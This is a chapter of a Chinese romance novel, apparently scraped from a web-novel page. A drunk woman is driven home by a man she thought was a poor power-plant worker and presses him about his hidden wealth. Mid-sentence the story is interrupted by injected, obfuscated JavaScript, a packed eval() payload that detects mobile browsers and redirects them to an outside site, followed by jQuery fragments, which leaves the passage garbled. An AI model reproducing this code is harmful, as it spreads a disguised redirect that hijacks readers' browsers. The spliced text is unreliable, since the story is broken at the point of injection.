夜风将她的醉意吹得更沉。


    裴雨窝在宋行舟身侧，整个人几乎靠在他怀里。他动作很轻，把她搀进副驾驶座，慢慢地按下座椅靠背，再替她系上安全带。动作一点都不像她脑子里那个“沉默寡言的底层工人”该有的样子，细致得反而像医生或是研究员那种气质的人。


    头晕得厉害，胃里有点翻，她闭着眼靠着车窗边，汗贴在脖颈里黏腻得不舒服。宋行舟绕到驾驶座，发动引擎。车子启动的同时，她下意识睁了一条缝的眼，车内仪表盘的灯柔和地亮起。前方那块导航屏在夜色里投下一点幽幽的蓝光，像是隔着夜色给她脑子里的一团乱麻泼了一勺清水。


    她的视线晃了晃，终于落在车窗外刚刚掠过的车牌号上。


    不认识。


    她原以为他会骑那辆熟悉的、每天都停在楼下的电动车，那种灰扑扑、工人骑惯了的老款型。可现在这辆车，却是崭新的，油光锃亮，黑色车身，低调却绝不便宜。


    裴雨皱了皱眉。


    “……这是你朋友的车？”


    宋行舟看她一眼，没笑也没解释，缓缓转动方向盘，让车平稳驶出酒吧的停车场。


    “我的。”


    她声音虚弱，但还是撑着问出口，“你……不是说你骑电瓶车去上班？”


    “都是真的。”


    “可这车看起来不像你那时候说的‘底层工人’该开的。”


    她的声音不带讽刺，也没有质疑，只是像个醉得迷糊却仍记得片段线索的侦探，把这段时间里她对他的了解，一点点拼接上来。只是这拼图拼得有些费力，也有些太慢。


    宋行舟一手搭在方向盘上，另一手从副驾驶旁的杯托里取出一只银色的保温杯。杯身有些旧，但被擦得很干净。他转开杯盖，一缕水汽从里面升起，是热的。


    他一边开车，一边把杯子递到她手边：“喝点水，胃里好受点。”


    她犹豫了一下，还是伸手去接，结果手一抖，差点洒了。宋行舟见状，只好把车缓缓靠边停下。


    “别动，我喂你。”他说。


    她怔了一下，然后没有拒绝。


    他解开自己的安全带，略微俯身过来，左手托着她的后脑，右手拿着杯子，仿佛是在哄孩子那样温柔而耐心地将温水送到她唇边。


    第一口下肚的时候，裴雨几乎要哭出来。


    不是烫，是暖，是她好久没有被这样温柔对待过的感觉，从胃到喉咙，从心里到眼睛，全都被这一小口热水烫得泛起了酸。


    “慢点。”他低声提醒她。


    她点头，水顺着杯口缓缓流入喉咙，她没再说话，只是睁着眼看他。他的脸在昏黄的车内灯光下显得很平静，一如她初见时那种内敛的样子。但这时候看，又觉得那份“沉默”像是经过筛选的克制——不是不会说，而是懂得什么时候不说。


    车里安静了一会。


    她喝完最后一口水，他将杯子收好，又替她把安全带重新调整好，手指碰到她胸口时动作轻得像羽毛。他的脸在近处，呼吸轻浅。


    “宋行舟。”


    她忽然出声。


    他应了一声：“嗯？”


    “……你到底是做什么的？”


    宋行舟抬眸看她，眼神平静，唇角却轻轻弯了一下，似乎笑了一下，但也似乎只是车灯映下的错觉。


    “电厂工人，”他说，“但不是搬砖的那种。”


    “所以呢？”


    “有机会再告诉你。”


    “你是不是……”她顿了一下，脑子里飞快地闪过无数种可能性，“你是不是挺有钱？”


    她也不知道自己为什么会问这个问题。


    可能是因为刚刚看见了车牌，也可能是因为他今天穿得并不随便，也可能是因为他对酒的克制和那只温水保温杯，都不像是她以为的那种“拼生活”的打工人。


    宋行舟看着她，眼底像是藏着一点光，却没有直接回答，而是问她：“你觉得有钱的人，就不能做工人？”


    她没法回答。


    他说：“我有在电厂干活，也有在别的地方工作。”


    “比如？”


    “再告诉你，”他停了一下，“等你脑子清醒点。”


    她闭了闭眼，没有追问。


    “那你现在，打算送我去哪儿？”


    “你想去哪儿？”


    “我家。”


    “好。”


    他重新发动了车。


    夜色一寸一寸地后退，车窗外的街景像一卷缓慢展开的画卷，带着他们朝某种未明的方向驶去。


    而裴雨，靠在椅背上，身体已经被温水暖过，精神却还陷在一种比酒更微醺的情绪里。她还没完全搞清楚这个男人到底是谁——他有太多她没了解的部分，他身上藏着太多和“底层工人”不符的东西。


    可她现在，好像没力气去一条条揭开。


    她只知道他的手很稳，他的眼神很柔，他带着她从酒精中走出来，就像把她从那场混乱的、不确定的生活里，暂时抱了出来。


    她闭上眼，轻声说了一句：“谢谢你。”


    “别说谢谢。”


    “为什么？”


    “我们现在还不止是朋友，不是吗？”


    他话说得不轻不重，带着一点点意味不明的温度，像酒精蒸发后残留在杯底的香味。


    她没有回答，只是轻轻侧过头，把脸贴在车窗的那一边，不让他看到自己泛红的眼眶。


    夜很静了。


    裴雨被抱着上楼的时候，她已经靠在宋行舟的胳膊上半睡过去了。


    她的身子轻，不是那种骨头磕人瘦的轻，是带着点没吃午饭、晚上又空腹喝酒的虚，像一团半化的雪，靠着他，呼吸都带着醉意的温度。他一只手撑着她的背，一只手拿着她家的钥匙，小心地开了门。


    屋里冷清，一股淡淡的花香，是她习惯用的香薰味道。柔光灯从天花板打下来，把这套虽然不大但布置得很精致的屋子照得温软。她脚上穿着高跟鞋，脚踝早就被磨得红了，他弯腰将她抱起来，轻轻放到沙发上。


    她脑袋歪了一下，靠着沙发扶手，不说话，脸却泛着不自然的潮红。


    “水还要喝点吗？”他问。


    她摇了摇头，但没松开抓着他手腕的手。


    宋行舟顿了顿，把那只还带着她体温的保温杯放到茶几上，准备起身。但她忽然扯住了他衬衫一角，很用力地不让他走。


    “别走。”


    他叹了口气，半蹲在她身侧，视线与她平齐。


    “你到底想要做什么？”


    他声音低，眼神却比语气更认真。


    裴雨喝了酒，脑子还是不太清醒，但她比刚才在车上清楚些了。她眨了下眼，像在琢磨他的问题，然后竟笑了一下，带着点嘲弄。


    “你不是说……你是底层工人吗？”


    宋行舟听到这句话时，眼里的某种色彩像终于被点燃。


    他偏过头，好像不愿意在她醉成这个样子的时候认真讲道理，但她的眼神又太认真，太执拗。他只好低下头，揉了把自己乱糟糟的短发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832857|173386||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，轻声开口。


    “我说了你就信啊？”


    “可你又没更正啊，而且看起来很认真的样子？”


    “你也一脸认真地说‘理想型要高学历’，不也没那么当回事么？”


    他抬头看她，语气里夹着点无奈的自嘲。


    “我在电厂做事，算是工人，但也不是你脑子里那种扛水泥的。我也骑电动车，图方便。但这和我有没有钱、受没受过教育、是不是一个‘值得你喜欢’的人，不是一码事。”


    他没说出口的那句是：你喜欢的东西，我也许都能有，但你喜欢的人，也许未必就是我。


    可他没说。他怕她现在太醉，听了也听不懂。


    裴雨看着他，忽然咬了咬下唇。


    “你还不肯说实话。”


    “我说了。”


    “你说了一半。”


    “因为我一开始也没觉得你会在意那么多。”他说着，站起来，“现在你在意了，我说的每一句话都会被你放在放大镜下去看。”


    他走到窗边，拉开一点窗帘，月光斜斜地照进来。他背对着她，像是重新想了一遍怎么表达，才继续说：


    “我爸妈是老一代的工人。我大学上的不是什么211.985的名牌学校，毕业以后没去做研究，回了家，去电厂上班，一开始是在系统里做运行，三班倒的上班，现在调了项目。白天是做工没错，可不代表我没有另外的身份。只是你没问。”


    裴雨轻轻地坐起身，靠着沙发靠背，视线落在他背上。


    “我没有骗你。”他又补了一句，“只是我不想让那些你会在意的东西，变成你靠近我的理由。”


    裴雨没说话。


    他回过头来，看她。


    “现在呢？”她问。


    “你觉得我还会在意吗？”


    他没回答她，只是一步步走回她面前，在茶几边缓缓蹲下，像是准备面对一场可能到来的辩论。


    她也没等他说话，忽然伸手，手指捏住他的下巴，像是要逼他再一次说实话。


    “你是不是其实……一点也不穷？”


    宋行舟盯着她，没躲开她的手。


    “还过得去。”他淡淡地说，“没有大富大贵，但也不至于捉襟见肘。”


    “那你为什么每天穿得那么破旧？”


    “那是工服。”


    “你为什么从不说你有车？”


    “你也没问。”


    她忽然觉得有些委屈，说：“你知不知道我一直以为你……真的就是那种挣两三千，靠着把房子租出去的房租过日子的那种人？”


    他沉默了一瞬，声音低低的：“我从没说谎。”


    她的眼圈忽然就红了。


    他顿了顿，伸手碰了碰她的脸。


    “对不起。”


    “你不是穷。”她说，“你就是防备心太重。”


    “是啊。”


    两人沉默了一会。


    裴雨把脸埋进沙发靠垫里，过了很久，才小声嘀咕了一句：“我现在更晕了。”


    “胃里难受？”


    “不是。”她从垫子里抬起脸，声音闷闷的，“是脑子里……乱七八糟。”


    “那就别想了，睡会儿。”


    “你走了我怎么睡。”


    他没再说话，只是又坐下来，靠在沙发一侧，陪着她。


    夜深了，风吹着窗帘轻轻晃动，屋内暖黄的灯光将他们两人并排坐着的影子拉长，拉得很近，像是靠在了一起，又像彼此之间还隔着一点点微妙的距离。